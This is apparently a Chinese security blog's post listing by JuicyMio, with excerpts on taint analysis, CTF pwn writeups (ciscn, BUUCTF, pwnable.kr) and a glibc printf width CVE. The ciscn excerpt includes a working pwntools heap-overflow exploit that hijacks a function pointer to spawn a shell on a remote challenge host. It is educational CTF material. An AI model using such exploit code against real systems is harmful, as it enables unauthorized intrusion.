污点分析学习笔记(一):程序分析基础

静态分析 静态分析(Static Analysis) 是指在实际运行程序 $P$ 之前,通过分析静态程序 $P$ 本身来推测程序的行为,并判断程序是否满足某些特定的 性质(Property) $Q$ 。 缺陷检测问题 给定某程序 $P$与某种类型的缺陷(如内存泄露),输出程序$P$是否存在给定类型的缺陷。 我们可能关注的程序性质(缺陷)可能有: 程序P是否会产生私有信息泄漏(Private Information Leak),或者说是否存在访问控制漏洞(Access Control Vulnerability); 程序P是否有空指针的解引用(Null Pointer Dereference)操作,更一般的,是否会发生不可修复的运行时错误(Runtime Error); 程序P中的类型转换(Type Cast)是否都是安全的; 程序P中是否存在可能无法满足的断言(Assertion Error); 程序P中是否存在死代码(Dead Code, 即控制流在任何情况下都无法到达的代码) 是否存在算法能给出该判定问题的答案? 软件测试? “Testing shows the presence, not the absence of bugs.” ——Edsger W. Dijkstra 希尔伯特计划 “Wir müssen wissen, wir werden wissen.” ——David Hilbert (我们必须知道,我们必将知道) 1900 年,38岁的希尔伯特在巴黎举行的第二届国际数学会议上以“数学问题”为题的演讲中提出了23个重要的数学难题,即众所周知的“希尔伯特问题”,激励和推动了后来一个多世纪许多数学分支的蓬勃发展。简而言之,希尔伯特的第1-6问题关于数学基础理论,第 7-12 问题关于数论,第13-18问题属于代数和几何,而最后的第19-23问题属于数学分析范畴。经过许多数学家长期的努力,目前大多数问题都得到了完全或部分解答。 希尔伯特的第二问题是有名的“判定问题”。它至关重要,涉及整个数学基础,关心数学是否完备和一致?、是不是所有数学命题都可以通过有限次正确的数学步骤作出判定?希尔伯特雄心勃勃,要将整个数学体系严格公理化,然后用他的所谓“元数学”(证明数学的数学)来证明整个数学体系是坚不可摧的。 为了这个目标,他制定了一个后人称之为“希尔伯特计划”的部署 :首先,将所有数学形式化,把每一个数学陈述都用符号来表达。然后,证明整个数学系统是完备的,即对任何一个数学陈述都存在一个数学证明(对所有命题,该命题本身或其否定命题一定能被证明)。同时,还要证明数学是一致的,也就是说绝不存在自相矛盾的陈述(任意命题和其否定命题不能同时被证明)。最后,还要具有可判断性,存在一个可以实现的算法,通过有限步程序最终判定数学陈述的对错。 这个计划的背景是罗素悖论引发的第三次数学危机,罗素悖论的公式表述为: $$ R = { x \mid x \notin x }, \qquad R \in R \iff R \notin R. $$ 简单来说,罗素悖论揭示了朴素数学直觉在形式化下的不一致性,数学中看似直观、自然的推理方式,在形式化后会导致自指性矛盾。希尔伯特计划试图通过形式化和元数学的一致性证明为数学奠定绝对可靠的基础。 ...

December 17, 2025 · 3 min · 538 words · JuicyMio

ccbciscn pwn wp

期末作业太多了,没什么时间详细写wp。不过三战国赛终于有望进入半决赛了,自己也出了个唯二解的二血,还是值得纪念一下的。 吐槽一下,怎么各个方向的题目数量都和赛前发的表对不上,本来以为pwn压力不大,主动承担了做一大半理论题的任务,结果下午看到又上了三个pwn感觉天都塌了。 anote 发现创建0x1c大小的堆块后,可以输入超过这个长度。并且每个堆块的开头有一个函数指针,在edit结束后会调用该函数指针。 因此可以创建两个堆块,将后门函数的地址system("/bin/sh")写在第一个堆块中,然后通过前一个的edit溢出写后一个的函数指针,直接改写成第一个堆块存储后门函数的地址。然后调用后一个堆块的edit,就可以执行后门函数,堆块布局如下。 堆地址由show时的gift直接给出,只需要稍加计算。 exp: ```Python #!/usr/bin/env python3 from pwn import * import os exe = ELF("./note_patched") context.binary = exe def conn(): if args.LOCAL: r = process([exe.path]) if args.DEBUG: gdb.attach(r) else: r = remote("123.56.29.99", 26768) return r def dbg(cmd=""): if args.LOCAL: gdb.attach(r, cmd) pause() def choice(i): r.sendlineafter(">>", str(i)) def show(idx): choice(2) r.sendlineafter("index: ", str(idx)) def edit(idx, len, content): choice(3) r.sendlineafter("index: ", str(idx)) r.sendlineafter("len: ", str(len)) r.sendafter("content:", content) context.log_level = "DEBUG" def main(): global r r = conn() choice(1) show(0) r.recvuntil("gift: ") addr = int(r.recvline()[:-1], 16) choice(1) edit( 0, 28, p32(0x80489CE) + b"a" * (0x1C - 8 - 8) + p32(0) + p32(0x21) + p32(addr + 8) + b"\n", ) edit(1, 1, b"0\n") # good luck pwning :) r.interactive() if __name__ == "__main__": main() avm 主要漏洞在于store和load指令检查时只检查reg+BYTE2(v3),计算时计算的是reg+HIWORD(v3)&0xFFF,所以可以越界读写虚拟机的缓冲区s。于是可以通过load栈上残留获取libc地址,再经过计算构造rop链,通过store越界写到栈上返回地址处。 ...

December 16, 2024 · 5 min · 980 words · JuicyMio

CVE-2023-25139

0x00 背景 TPCTF里和qym师傅研究了两天safehttpd这题(虽然我一直在背英语pre,没干什么活),把整个程序可能的漏洞点翻遍了也没找到突破口的off by null如何触发(实际上是测试过程中出现了重大失误,已经找对了地方却没有测试出漏洞),赛后看wp发现有这样一个CVE: 30068 – (CVE-2023-25139) incorrect printf output for integers with thousands separator and width field (CVE-2023-25139) (sourceware.org) 0x01 分析 先看上面链接中的复现样例: #include <stdio.h> #include <locale.h> int main (void) { if (setlocale (LC_ALL, "")) { printf ("1234567890123:\n"); printf ("%0+ -'13ld:\n", 1234567L); } return 0; } 在有漏洞的Glibc2.37下的输出: 1234567890123: +1,234,567 : 输出的长度是15而不是13,因为两个千位分隔符没有被计入宽度,导致输出时多补了两个空格。 这是一个glibc 2.37里短暂出现就被迅速修复的漏洞:千位分隔符在限制长度的格式化输出时没有被正确计入宽度,导致出现了溢出。 由该commit修复: Account for grouping in printf width (bug 30068) · bminor/glibc@c980549 (github.com) 下面就通过这个修复的commit分析一下这个bug是如何产生的。 其中第266行由 width -= workend - string + prec 改成了 width -= number_length + prec_inc 这里的width变量为补足宽度限制需要添加的字符的宽度。prec和prec_inc的值是相同的,区别在于number_length和workend - string并不等同:(168-182行) int number_length; #ifndef COMPILE_WPRINTF if (use_outdigits && base == 10) number_length = __translated_number_width (_NL_CURRENT_LOCALE, string, workend); else number_length = workend - string; if (group) number_length += iter.separators * strlen (thousands_sep); #else number_length = workend - string; /* All wide separators have length 1. */ if (group && thousands_sep != L'\0') number_length += iter.separators; #endif 在上面代码的后几行可以看到number_length是原本的数字长度加上千位分隔符的长度,而workend-string没有计算千位分隔符的长度,导致了错误的长度计算。 ...

December 11, 2023 · 2 min · 311 words · JuicyMio

[BUUCTF]others_shellcode wp

0x00 前置知识 x86_32下应用程序调用系统调用的过程: 把系统调用号存入eax. 把函数参数存在其他寄存器(ebx, ecx, edx, esi, edi), 当系统调用参数大于6个时,全部参数应该依次放在一块连续的内存区域里,同时在 ebx 中保存指向该内存区域的指针. 触发0x80中断, 切换到内核态, 执行中断处理函数. (为了节约宝贵的中断号, Linux用int 0x80触发所有系统调用. 再为每个系统调用分配与中断号用法类似的系统调用号) 0x01 题目分析 IDA看到main函数里只执行了一个getShell()函数, 代码如下. int getShell() { int result; // eax char v1[9]; // [esp-Ch] [ebp-Ch] BYREF strcpy(v1, "/bin//sh"); result = 11; __asm { int 80h; LINUX - sys_execve } return result; } 插入了汇编代码int 0x80. 根据IDA的注释可以看到eax的值就是result的值11. 而32位下系统调用号11即为execve. 32位调用参数存在栈里, 此处即为栈顶的v[1]内的"/bin/sh". 所以相当于手动调用了系统调用execve("/bin/sh").

March 16, 2023 · 1 min · 59 words · JuicyMio

Pwnable.kr

pwnable.kr writeup 1 fd 文件描述符(file descricptor) 维基百科:文件描述符在形式上是一个非负整数。实际上,它是一个索引值,指向内核为每一个进程所维护的该进程打开文件的记录表。当程序打开一个现有文件或者创建一个新文件时,内核向进程返回一个文件描述符。在程序设计中,一些涉及底层的程序编写往往会围绕着文件描述符展开。 习惯上 标准输入(stdin)为0, 标准输出(stdout)为1, 标准错误(stderr)为2. //fd.c #include <stdio.h> #include <stdlib.h> #include <string.h> char buf[32]; int main(int argc, char* argv[], char* envp[]){ if(argc<2){ printf("pass argv[1] a number\n"); return 0; } int fd = atoi( argv[1] ) - 0x1234; int len = 0; len = read(fd, buf, 32); if(!strcmp("LETMEWIN\n", buf)){ printf("good job :)\n"); system("/bin/cat flag"); exit(0); } printf("learn about Linux file IO\n"); return 0; } 得到flag的关键在于如何通过第二个if语句, 也就是如何让buf=LETMEMIN 可以看到read从fd中读入32个字节为buf赋值, 如果我们想控制buf的值就要控制fd中的内容, 那么只要让fd=0, 再向标准输入(从命令行直接输入)中输入LETMEWIN就可以了. 注意到fd在此处赋值: int fd = atoi( argv[1] ) - 0x1234; 其中atoi是将字符串转化为整数的函数 int main(int argc, char* argv[], char* envp[]){ 可以看到argv[]是main函数的一个参数, 而main函数的参数都是程序运行时在命令行输入的, argc代表输入参数的个数(第一个参数是程序路径), argv则存储着指向这些参数的指针. envp存储指向环境变量的指针, 此处没用到. 例如运行程序fd ./fd 4660 此时argc值为2, 而argv[0] = “./fd”, argv[1] = “4660” atoi不能转化16进制数, 所以我们手动转换0x1234, 它的十进制表示是4660 这样我们就可以让fd = 0, 程序等待从stdin中读取字符 我们再向命令行中输入LETMEWIN, 即可得到flag ...

October 12, 2022 · 15 min · 3158 words · JuicyMio